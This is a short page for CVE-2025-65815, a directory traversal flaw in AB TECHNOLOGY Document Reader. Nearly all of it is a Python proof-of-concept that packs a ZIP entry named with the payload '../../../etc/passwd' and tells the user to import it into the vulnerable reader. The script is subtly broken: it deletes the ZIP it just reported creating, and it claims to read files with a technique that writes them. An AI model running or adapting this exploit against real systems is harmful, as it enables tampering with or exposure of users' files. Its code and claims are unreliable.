CVE-2025-65815 | AB TECHNOLOGY Document Reader 目录遍历漏洞

import os import zipfile import shutil from pathlib import Path def create_poc_zip(): """ Generate PoC for CVE-2025-65815: Directory Traversal in AB TECHNOLOGY Document Reader This PoC demonstrates how to craft a malicious file with path traversal characters to read arbitrary files from the target system. Usage: Create a ZIP file containing a document with path traversal payload """ # Path traversal payload to read sensitive files traversal_payload = "../../../etc/passwd" # Create malicious filename with traversal characters malicious_filename = f"{traversal_payload}_malicious.txt" # Content to be written/read poc_content = "PoC for CVE-2025-65815 - Directory Traversal" # Create temporary directory temp_dir = Path("poc_temp") temp_dir.mkdir(exist_ok=True) # Create the malicious file malicious_file = temp_dir / malicious_filename malicious_file.write_text(poc_content) # Create ZIP archive zip_path = temp_dir / "exploit.zip" with zipfile.ZipFile(zip_path, 'w') as zf: zf.write(malicious_file, arcname=malicious_filename) print(f"[+] PoC ZIP created: {zip_path}") print(f"[+] Malicious filename: {malicious_filename}") print(f"[+] Traversal path: {traversal_payload}") print("\n[!] To exploit: Import this ZIP file through the vulnerable Document Reader") # Cleanup shutil.rmtree(temp_dir) def check_vulnerable_version(version_string): """ Check if the version is affected by CVE-2025-65815 """ affected = "65.0" return version_string == affected if __name__ == "__main__": create_poc_zip() # Example version check test_version = "65.0" print(f"\nVersion {test_version} vulnerable: {check_vulnerable_version(test_version)}")